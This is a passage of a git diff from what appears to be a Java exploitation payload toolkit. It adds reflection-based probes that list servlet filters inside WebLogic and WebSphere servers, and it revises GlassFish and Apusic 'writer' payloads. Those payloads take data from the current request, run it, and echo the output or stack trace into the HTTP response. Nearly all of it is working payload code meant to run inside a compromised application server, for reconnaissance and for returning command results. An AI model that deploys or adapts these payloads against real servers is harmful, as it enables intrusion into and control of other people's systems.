|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class WebLogicFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> weblogic.servlet.internal.WebAppServletContext
|
||||||
|
// filterManager -> weblogic.servlet.internal.FilterManager
|
||||||
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
|
Map<String, Object> filters = (Map<String, Object>) getFieldValue(filterManager, "filters");
|
||||||
|
List<Object> filterPatternList = (ArrayList<Object>) getFieldValue(filterManager, "filterPatternList");
|
||||||
|
List<Object> filterServletList = (ArrayList<Object>) getFieldValue(filterManager, "filterServletList");
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
for (Object filterInfo : filterPatternList) {
|
||||||
|
// filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
|
||||||
|
Object urlMap = getFieldValue(filterInfo, "map");
|
||||||
|
String filterName = (String) getFieldValue(filterInfo, "filterName");
|
||||||
|
if (filterName == null) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
Object[] mapValues = (Object[]) invokeMethod(urlMap, "values", null, null);
|
||||||
|
filterName = ((String) mapValues[0]);
|
||||||
|
}
|
||||||
|
Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
|
||||||
|
String[] urlPatterns = (String[]) invokeMethod(urlMap, "keys", null, null);
|
||||||
|
if (urlPatterns != null) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).addAll(Arrays.asList(urlPatterns));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (Object filterInfo : filterServletList) {
|
||||||
|
// filterInfo -> weblogic.servlet.internal.FilterManager$FilterInfo
|
||||||
|
String filterName = (String) getFieldValue(filterInfo, "filterName");
|
||||||
|
Map<String, Object> info = fillFilterInfo(aggregatedData, filterName, filters);
|
||||||
|
String servletName = (String) getFieldValue(filterInfo, "servletName");
|
||||||
|
if (servletName != null) {
|
||||||
|
((Set<String>) info.get("servletNames")).add(servletName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Object> fillFilterInfo(Map<String, Map<String, Object>> aggregatedData, String filterName, Map<String, Object> filters) throws Exception {
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
// filterWrapper -> weblogic.servlet.internal.FilterWrapper
|
||||||
|
Object filterWrapper = filters.get(filterName);
|
||||||
|
String filterClassName = null;
|
||||||
|
try {
|
||||||
|
filterClassName = (String) getFieldValue(filterWrapper, "filterClassName");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
filterClassName = (String) getFieldValue(filterWrapper, "filterclass");
|
||||||
|
}
|
||||||
|
if (filterClassName == null) {
|
||||||
|
Object filter = getFieldValue(filterWrapper, "filter");
|
||||||
|
if (filter != null) {
|
||||||
|
filterClassName = filter.getClass().getName();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
info.put("filterClass", filterClassName);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<String>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<String>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
return aggregatedData.get(filterName);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* weblogic.servlet.internal.WebAppServletContext
|
||||||
|
* /opt/oracle/wls1036/server/lib/weblogic.jar
|
||||||
|
* /u01/oracle/wlserver/modules/com.oracle.weblogic.servlet.jar
|
||||||
|
*/
|
||||||
|
public static Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
|
MBeanServer platformMBeanServer = ManagementFactory.getPlatformMBeanServer();
|
||||||
|
Map<String, Object> objectsByObjectName = (Map<String, Object>) getFieldValue(platformMBeanServer, "objectsByObjectName");
|
||||||
|
for (Map.Entry<String, Object> entry : objectsByObjectName.entrySet()) {
|
||||||
|
String key = entry.getKey();
|
||||||
|
if (key.contains("Type=WebAppComponentRuntime")) {
|
||||||
|
Object value = entry.getValue();
|
||||||
|
Object managedResource = getFieldValue(value, "managedResource");
|
||||||
|
if (managedResource != null && managedResource.getClass().getSimpleName().equals("WebAppRuntimeMBeanImpl")) {
|
||||||
|
webappContexts.add(getFieldValue(managedResource, "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry");
|
||||||
|
Object request = null;
|
||||||
|
try {
|
||||||
|
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
|
||||||
|
request = getFieldValue(connectionHandler, "request");
|
||||||
|
} catch (Exception x) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
request = workEntry;
|
||||||
|
}
|
||||||
|
if (request != null) {
|
||||||
|
webappContexts.add(getFieldValue(request, "context"));
|
||||||
|
}
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
}
|
||||||
|
return webappContexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+285
@@ -0,0 +1,285 @@
|
|||||||
|
package com.reajason.javaweb.probe.payload.filter;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
*/
|
||||||
|
public class WebSphereFilterProbe {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("Duplicates")
|
||||||
|
public String toString() {
|
||||||
|
StringBuilder msg = new StringBuilder();
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg.append("context error: ").append(getErrorMessage(throwable));
|
||||||
|
}
|
||||||
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg.append("context not found\n");
|
||||||
|
} else {
|
||||||
|
Map<String, List<Map<String, String>>> allFiltersData = new LinkedHashMap<String, List<Map<String, String>>>();
|
||||||
|
for (Object context : contexts) {
|
||||||
|
String contextRoot = getContextRoot(context);
|
||||||
|
try {
|
||||||
|
List<Map<String, String>> filters = collectFiltersData(context);
|
||||||
|
allFiltersData.put(contextRoot, filters);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg.append(contextRoot).append(" failed ").append(getErrorMessage(e)).append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg.append(formatFiltersData(allFiltersData));
|
||||||
|
}
|
||||||
|
return msg.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
private List<Map<String, String>> collectFiltersData(Object context) throws Exception {
|
||||||
|
// context -> com.ibm.ws.webcontainer.webapp.WebAppImpl
|
||||||
|
Map<String, Map<String, Object>> aggregatedData = new LinkedHashMap<>();
|
||||||
|
// filterManager -> com.ibm.ws.webcontainer.filter.WebAppFilterManager
|
||||||
|
Object filterManager = getFieldValue(context, "filterManager");
|
||||||
|
// webAppConfig -> com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl
|
||||||
|
Object webAppConfig = getFieldValue(context, "config");
|
||||||
|
try {
|
||||||
|
// WebLogic 12+
|
||||||
|
List<Object> uriFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "uriFilterMappingInfos");
|
||||||
|
for (Object uriFilterMappingInfo : uriFilterMappingInfos) {
|
||||||
|
// uriFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
|
||||||
|
Map<String, Object> info = filterFilterInfo1(uriFilterMappingInfo, aggregatedData);
|
||||||
|
String urlPattern = (String) invokeMethod(uriFilterMappingInfo, "getUrlPattern", null, null);
|
||||||
|
if (urlPattern != null && !urlPattern.isEmpty()) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Object> servletFilterMappingInfos = (List<Object>) getFieldValue(webAppConfig, "servletFilterMappingInfos");
|
||||||
|
for (Object servletFilterMappingInfo : servletFilterMappingInfos) {
|
||||||
|
// servletFilterMappingInfo -> com.ibm.ws.webcontainer.filter.FilterMapping
|
||||||
|
Map<String, Object> info = filterFilterInfo1(servletFilterMappingInfo, aggregatedData);
|
||||||
|
String servletName = (String) invokeMethod(invokeMethod(servletFilterMappingInfo, "getServletConfig"), "getServletName");
|
||||||
|
if (servletName != null && !servletName.isEmpty()) {
|
||||||
|
((Set<String>) info.get("servletNames")).add(servletName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
// WebLogic 10.3.6
|
||||||
|
List<Object> uriFilterMappings = (List<Object>) getFieldValue(filterManager, "_uriFilterMappings");
|
||||||
|
for (Object uriFilterMapping : uriFilterMappings) {
|
||||||
|
// uriFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
|
||||||
|
Map<String, Object> info = fillFilterInfo2(uriFilterMapping, aggregatedData, webAppConfig);
|
||||||
|
String urlPattern = (String) getFieldValue(uriFilterMapping, "_filterURI");
|
||||||
|
if (urlPattern != null && !urlPattern.isEmpty()) {
|
||||||
|
((Set<String>) info.get("urlPatterns")).add(urlPattern);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Object> servletFilterMappings = (List<Object>) getFieldValue(filterManager, "_servletFilterMappings");
|
||||||
|
for (Object servletFilterMapping : servletFilterMappings) {
|
||||||
|
// servletFilterMapping -> com.ibm.ws.webcontainer.filter.WebAppFilterManager$FilterMappingInfo
|
||||||
|
Map<String, Object> info = fillFilterInfo2(servletFilterMapping, aggregatedData, webAppConfig);
|
||||||
|
String servletName = (String) getFieldValue(servletFilterMapping, "_filterServlet");
|
||||||
|
if (servletName != null && !servletName.isEmpty()) {
|
||||||
|
((Set<String>) info.get("servletNames")).add(servletName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
List<Map<String, String>> result = new ArrayList<>();
|
||||||
|
for (Map<String, Object> entry : aggregatedData.values()) {
|
||||||
|
Map<String, String> finalInfo = new HashMap<>();
|
||||||
|
finalInfo.put("filterName", (String) entry.get("filterName"));
|
||||||
|
finalInfo.put("filterClass", (String) entry.get("filterClass"));
|
||||||
|
Set<?> urls = (Set<?>) entry.get("urlPatterns");
|
||||||
|
finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString());
|
||||||
|
Set<?> servletNames = (Set<?>) entry.get("servletNames");
|
||||||
|
finalInfo.put("servletNames", servletNames.isEmpty() ? "" : servletNames.toString());
|
||||||
|
result.add(finalInfo);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Object> filterFilterInfo1(Object uriFilterMappingInfo, Map<String, Map<String, Object>> aggregatedData) throws Exception {
|
||||||
|
Object filterConfig = getFieldValue(uriFilterMappingInfo, "filterConfig");
|
||||||
|
String filterName = (String) invokeMethod(filterConfig, "getFilterName", null, null);
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
info.put("filterClass", filterClassName);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
return aggregatedData.get(filterName);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static Map<String, Object> fillFilterInfo2(Object servletFilterMapping, Map<String, Map<String, Object>> aggregatedData, Object webAppConfig) throws Exception {
|
||||||
|
String filterName = (String) getFieldValue(servletFilterMapping, "_filterName");
|
||||||
|
if (!aggregatedData.containsKey(filterName)) {
|
||||||
|
Object filterConfig = invokeMethod(webAppConfig, "getFilterInfo", new Class[]{String.class}, new Object[]{filterName});
|
||||||
|
String filterClassName = (String) invokeMethod(filterConfig, "getFilterClassName", null, null);
|
||||||
|
Map<String, Object> info = new HashMap<>();
|
||||||
|
info.put("filterName", filterName);
|
||||||
|
info.put("filterClass", filterClassName);
|
||||||
|
info.put("urlPatterns", new LinkedHashSet<>());
|
||||||
|
info.put("servletNames", new LinkedHashSet<>());
|
||||||
|
aggregatedData.put(filterName, info);
|
||||||
|
}
|
||||||
|
return aggregatedData.get(filterName);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String formatFiltersData(Map<String, List<Map<String, String>>> allFiltersData) {
|
||||||
|
StringBuilder output = new StringBuilder();
|
||||||
|
for (Map.Entry<String, List<Map<String, String>>> entry : allFiltersData.entrySet()) {
|
||||||
|
String context = entry.getKey();
|
||||||
|
List<Map<String, String>> filters = entry.getValue();
|
||||||
|
output.append("Context: ").append(context).append("\n");
|
||||||
|
if (filters.isEmpty()) {
|
||||||
|
output.append("No filters found\n");
|
||||||
|
} else if (filters.size() == 1 && filters.get(0).containsKey("error")) {
|
||||||
|
output.append(filters.get(0).get("error")).append("\n");
|
||||||
|
} else {
|
||||||
|
for (Map<String, String> info : filters) {
|
||||||
|
appendIfPresent(output, "", info.get("filterName"));
|
||||||
|
appendIfPresent(output, " -> ", info.get("filterClass"));
|
||||||
|
appendIfPresent(output, " -> URL:", info.get("urlPatterns"));
|
||||||
|
appendIfPresent(output, " -> Servlet:", info.get("servletNames"));
|
||||||
|
output.append("\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return output.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendIfPresent(StringBuilder sb, String prefix, String value) {
|
||||||
|
if (value != null && !value.isEmpty()) {
|
||||||
|
sb.append(prefix).append(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.ibm.ws.webcontainer.webapp.WebAppImpl
|
||||||
|
* /opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.webcontainer.jar
|
||||||
|
*/
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
|
Object[] threadLocals = null;
|
||||||
|
boolean raw = false;
|
||||||
|
try {
|
||||||
|
// WebSphere Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
if (threadLocals == null) {
|
||||||
|
// Open Liberty
|
||||||
|
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
|
||||||
|
raw = true;
|
||||||
|
}
|
||||||
|
for (Object threadLocal : threadLocals) {
|
||||||
|
if (threadLocal == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
Object value = threadLocal;
|
||||||
|
if (raw) {
|
||||||
|
value = getFieldValue(threadLocal, "value");
|
||||||
|
}
|
||||||
|
if (value == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// for websphere 7.x
|
||||||
|
if (value.getClass().getName().endsWith("FastStack")) {
|
||||||
|
Object[] stackList = (Object[]) getFieldValue(value, "stack");
|
||||||
|
for (Object stack : stackList) {
|
||||||
|
try {
|
||||||
|
Object config = getFieldValue(stack, "config");
|
||||||
|
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
|
||||||
|
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
|
||||||
|
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws Exception {
|
||||||
|
return invokeMethod(obj, methodName, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != Object.class) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+32
-4
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -32,15 +35,25 @@ public class ApusicWriter {
|
|||||||
Object response = getFieldValue(servletInvocation, "response");
|
Object response = getFieldValue(servletInvocation, "response");
|
||||||
String data = getDataFromReq(request);
|
String data = getDataFromReq(request);
|
||||||
if (data != null && !data.isEmpty()) {
|
if (data != null && !data.isEmpty()) {
|
||||||
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
String result = "";
|
||||||
try {
|
try {
|
||||||
writer.write(run(data));
|
result = run(data);
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
result = getErrorMessage(e);
|
||||||
e.printStackTrace(writer);
|
|
||||||
}
|
}
|
||||||
|
if (result != null) {
|
||||||
|
try {
|
||||||
|
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
|
||||||
|
outputStream.write(result.getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
|
||||||
|
writer.write(result);
|
||||||
writer.flush();
|
writer.flush();
|
||||||
writer.close();
|
writer.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -96,4 +109,19 @@ public class ApusicWriter {
|
|||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+42
-12
@@ -1,5 +1,8 @@
|
|||||||
package com.reajason.javaweb.probe.payload.response;
|
package com.reajason.javaweb.probe.payload.response;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.io.PrintWriter;
|
import java.io.PrintWriter;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
@@ -22,10 +25,8 @@ public class GlassFishWriter {
|
|||||||
// GlassFish3
|
// GlassFish3
|
||||||
Thread thread = Thread.currentThread();
|
Thread thread = Thread.currentThread();
|
||||||
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
|
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
|
||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
if (tryWriteRes(request)) {
|
||||||
String data = getDataFromReq(request);
|
return;
|
||||||
if (data != null && !data.isEmpty()) {
|
|
||||||
execute(response, data);
|
|
||||||
}
|
}
|
||||||
} catch (Exception x) {
|
} catch (Exception x) {
|
||||||
// GlassFish4+
|
// GlassFish4+
|
||||||
@@ -48,10 +49,7 @@ public class GlassFishWriter {
|
|||||||
}
|
}
|
||||||
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
|
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
|
||||||
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
|
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
|
||||||
Object response = invokeMethod(request, "getResponse", null, null);
|
if (tryWriteRes(request)) {
|
||||||
String data = getDataFromReq(request);
|
|
||||||
if (data != null && !data.isEmpty()) {
|
|
||||||
execute(response, data);
